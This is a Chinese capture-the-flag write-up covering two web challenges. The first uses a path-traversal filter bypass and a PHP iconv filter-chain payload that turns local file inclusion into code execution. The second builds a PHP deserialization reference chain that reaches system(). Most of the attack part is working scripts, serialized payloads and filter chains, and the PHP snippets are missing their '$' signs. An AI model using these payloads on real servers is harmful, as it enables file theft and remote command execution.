2022北京工业互联网安全大赛初赛WP-Web

2023-05-18 09:13:59 浏览数 (3)

2022北京工业互联网安全大赛初赛WP-Web

这次比赛Web只有两道题, 因为早上要上课到十二点才放学, 但是比赛三点多就比赛结束了, 所以做的很匆忙, 第一题的有两层(这点搞得我很难受…), 第二题的话就是一个使用引用修改变量

ezRead

题目一进去就是一个点击的地方,点进去之后看到访问的链接是/read.php?Book=ZGRsLnR4dA==解码看到内容为ddl.txt,然后对这个内容不断微调发现是过滤了../,会把../替换为空,然后就通过双写的方法..././aaa在删除../之后就是剩下一个../aaa,因此完成绕过

然后写个简单的脚本对文件进行读取

代码语言:javascript复制
import base64
import requests

url="http://eci-2ze1ch78qz7wb5w8lq6o.cloudeci1.ichunqiu.com/"
filename="/home/ctf/.bash_history"
res=requests.get(url "read.php?Book=" base64.b64encode(("../../../../../../../.." filename).replace("../","..././").encode()).decode())
print(res.text)

通过报错可以知道read.php文件绝对路径为/var/www/ctf/read.php

之后拿到read.php源码

代码语言:javascript复制
<?php
error_reporting(2);
file = base64_decode(isset(_GET['Book']) ? _GET['Book'] : "");
if (file == '') {
    header("location:index.html");
}
file = str_replace(array("../", "..""), "",file);
file = 'books/' .file;
final = file_get_contents(file);
echo $final;
?>

可以看到就是过滤了../..,这对我们来说几乎跟没有一样

然而之后呢? :>

读取/flag是没有对应文件的, 然后我通过爆破读取/proc/self/fd下面的描述符拿到了访问记录, 但是全部都是我自己的访问记录, 并没有flag访问记录之类的,

之后我又想查看日志文件但是不论/var/log/apache2/aeecee.log还是/var/log/apache2/error.log均为空,/proc/self/environ无法访问,配置文件也没有什么异常的,到这里我就呆住了

然后又翻了一会没见到什么信息就翘了去做第二题了

然而第二题虽然难度不高但是还是寄了,在比赛结束之后才写好的exp脚本, 然后在比赛结束前10分钟的时候才在/home/ctf/.bash_history找到了异常,

通过查看命令记录可以看到有一个cd到/var/www/ctf/V72J1dn23wjFrq的记录, 然后一访问/V72J1dn23wjFrq就直接看到整个目录, 里面有个demo.php

使用上面的功能读一下源码拿到demo.php代码如下:

代码语言:javascript复制
<?php
error_reporting(0);
file=_GET['ops'];
file = str_replace(array("../", "..""), "",file);
include_once($file);
?>

和上面一样,但是这次直接是文件包含了

按理来说一般就是可以直接通过有访问记录的fd描述符或者session_progress文件上传临时文件来打, 但是都没成,另外试了pear文件包含iconv字符集构造webshell也失败了

在这里就陷入僵局并且比赛结束了, 发现是iconv字符集转换器确实的问题(应该是), 在hxp CTF 2021 – The End Of LFI?的脚本有字符集缺时失但是 ciscn2022-build里面的脚本就没问题, 另外再挂个工具链接PHP_INCLUDE_TO_SHELL_CHAR_DICT

之后就是直接payload一把梭

代码语言:javascript复制
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.iconv.ISO6937.EUC-JP-MS|convert.iconv.EUCKR.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd

但是需要注意一点:

flag不能直接通过grep -r flag /找到,因为flag的搜索过程会在查找过程中中断, flag的位置在/home下面,直接cat就行

wakeup

这题大遗憾了, 之前还自己出过这个知识点的题目放在迎新赛呢, 不过这次因为太久没做过这个引用修改环境变量的题目直接翻车了, 一开始直接在全局环境构建代码了, 这个如果是在全局变量里面的话有些即使是使用了&进行指针引用的地方也还是会被直接复制, 而不是使用引用的方式进行序列化, 这时候使用的就不是指针了,但是因为太懒了不想重新写代码所以一直舍不得重写, 这就整的把自己送走了, 赛后才全部推倒在构造函数重写了一遍

下面回到题目

开局直接上源码

代码语言:javascript复制
<?php

class KeyPort {

    public function __call(name,arguments)
    {
        if(!isset(this->wakeup)||!this->wakeup){
            call_user_func_array(this->format[name],arguments);
        }
    }

    public function finish(){this->format=array();
        return this->finish->iffinish;
    }

    public function __wakeup(){this->wakeup=True;
    }
}

class ArrayObj{

    private iffinish;
    publicname;

    public function __get(name){
        returnthis->name=this->name[name];
    }
}

class SunCorpa {
    public function __destruct()
    {
        if (this->process->finish()) {
            this->process->forward(this->_forward);
        }
    }
}

class MoonCorpa {
    public function __destruct()
    {
        if (this->process->finish()) {this->options['new']->forward(this->_forward);
        }
    }
    public function __wakeup(){
    }
}

if(_GET['u']){
    unserialize(base64_decode($_GET['u']));
}else{
    highlight_file(__FILE__);
} 

一眼看到call_user_func_array但是想要执行的话就要this->wakeup未定义或者!

然后往下看就见到了ArrayObj::__get函数, 在里面看到了赋值, 然后往下翻就没有其他利用价值比较大的漏洞点了,后面两个都是用来触发反序列化的,

这时候第一反应就是应该就是使用引用修改wakeup变量, 后面也确实是这么回事的, 下面就总结一下需要注意的几个点(也是简单学习一下了):

反序列化后的对象会先执行对象中的属性的__destruct函数,最后才会执行对象的__destruct(就是儿子先走bab后面才跟上)

反序列化的变量即使有var属性如果在class1定义var变量为private那么如果在其他作用域中获取输出这个var那么就会触发calss1__get函数

  1. 如果class1的对象被反序列化为c1,并且在class2中被通过$this->c1->var的方式获取c1var变量,那么就会有以下情况:
  2. private变量, 只要在外部被调用都会调用__get
  3. public变量, 如果调用的对象反序列化对象中没有定义就会取出声明变量的时候定义的默认值, 反序列化对象中有定义的话就取出定义的值
  4. 未声明变量, 如果调用的对象反序列化对象中没有定义就会调用__get, 反序列化对象中有定义的话就取出定义的值

下面就是例子, 下面的反序列化数据是注释代码生成的, 可以分别测试没有定义变量, 定义为public变量,private变量的时候分别对应的几种情况

代码语言:javascript复制
test2->var2.PHP_EOL);
   }
}
class test2{
//    private var3="test2";
//    publicvar4="test2";
public function __construct(){
   this->var2="test2";
}
   public function __get(name){
       printf("EXECUTE2::".name.PHP_EOL);
       return "test2's __get return";
   }
   public function __wakeup(){
       printf("test2's __Wakeup::".this->var2.PHP_EOL);
   }
}
//t1=new test1();
//t1->test2=new test2();
//t1->test2->var2="tets2_var2";
//printf(base64_encode(serialize(t1)).PHP_EOL);

unserialize(base64_decode('Tzo1OiJ0ZXN0MSI6MTp7czo1OiJ0ZXN0MiI7Tzo1OiJ0ZXN0MiI6MTp7czo0OiJ2YXIyIjtzOjEwOiJ0ZXRzMl92YXIyIjt9fQ=='));

把private注释取消掉就可以看到test2__get函数被调用

使用引用的时候如果是在全局环境中的变量class2被通过指针方式在多个地方被引用作为一个对象class1的属性例如class1->temp=$class2, 并且class1对象被序列化的话class2就会被直接复制, 然后后面其他的引用就不会再复制(就是说引用的方式被多次使用的话对象是不会被复制多份的), 但是想要把变量赋值到没有定义的属性上面的话就会直接exit 255程序中止, 这个搞得我很烦, 但是在类内的__construct写的话就不会有这个问题, 而且关系也更加清晰(个人感觉)

详细的分析就不想细说了, 直接放个paylaod吧:

代码语言:javascript复制
<?php
class KeyPort {
}
class ArrayObj{
}
class MoonCorpa {
}
class SunCorpa {
    public function __construct(){
        global validation;

        if(validation){
            validation=0;
            var_dump(-1);sunCorpa=new SunCorpa();
            this->s1=sunCorpa;
            this->s2=new SunCorpa;arrayObj1 = new ArrayObj();//设wakeup
            this->a1=arrayObj1;
            this->a2=new ArrayObj();keyPort1=new KeyPort();
            this->k1=keyPort1;
            this->k2=new KeyPort();this->k3=new KeyPort();
            moonCorpa=new MoonCorpa();this->m1=moonCorpa;this->m2=new MoonCorpa();
            var_dump(1);
            //通过引用对wakeup变量赋值,this->process->finish()语句会返回falsethis->s1->process=&this->k1;this->k1->finish=&this->a1;this->a1->iffinish= &this->k1->wakeup;this->a1->name=array("iffinish"=>false);
            //通过引用对format变量赋值,this->process->finish()返回array("forward"=>"system"),通过if判断,执行下面的format语句this->m1->_forward="calc";
            this->m1->process=&this->k2;
            this->k2->finish=&this->a2;
            this->a2->iffinish= &this->k1->format;
            this->a2->name=array("iffinish"=>array("forward"=>"system"));this->m1->options=array("new"=>&this->k1);ser=base64_encode(serialize(this));
            file_put_contents("1",ser);
            var_dump(ser);
        }
    }
}validation=1;
new SunCorpa();

生成的payload实例:

代码语言:javascript复制
Tzo4OiJTdW5Db3JwYSI6OTp7czoyOiJzMSI7Tzo4OiJTdW5Db3JwYSI6MTp7czo3OiJwcm9jZXNzIjtPOjc6IktleVBvcnQiOjM6e3M6NjoiZmluaXNoIjtPOjg6IkFycmF5T2JqIjoyOntzOjg6ImlmZmluaXNoIjtOO3M6NDoibmFtZSI7YToxOntzOjg6ImlmZmluaXNoIjtiOjA7fX1zOjY6Indha2V1cCI7Ujo1O3M6NjoiZm9ybWF0IjtOO319czoyOiJzMiI7Tzo4OiJTdW5Db3JwYSI6MDp7fXM6MjoiYTEiO1I6NDtzOjI6ImEyIjtPOjg6IkFycmF5T2JqIjoyOntzOjg6ImlmZmluaXNoIjtSOjg7czo0OiJuYW1lIjthOjE6e3M6ODoiaWZmaW5pc2giO2E6MTp7czo3OiJmb3J3YXJkIjtzOjY6InN5c3RlbSI7fX19czoyOiJrMSI7UjozO3M6MjoiazIiO086NzoiS2V5UG9ydCI6MTp7czo2OiJmaW5pc2giO1I6MTA7fXM6MjoiazMiO086NzoiS2V5UG9ydCI6MDp7fXM6MjoibTEiO086OToiTW9vbkNvcnBhIjozOntzOjg6Il9mb3J3YXJkIjtzOjQ6ImNhbGMiO3M6NzoicHJvY2VzcyI7UjoxNDtzOjc6Im9wdGlvbnMiO2E6MTp7czozOiJuZXciO1I6Mzt9fXM6MjoibTIiO086OToiTW9vbkNvcnBhIjowOnt9fQ==

在index.php加一句unserialize(base64_decode(file_get_contents("1")));测试一下:

0 人点赞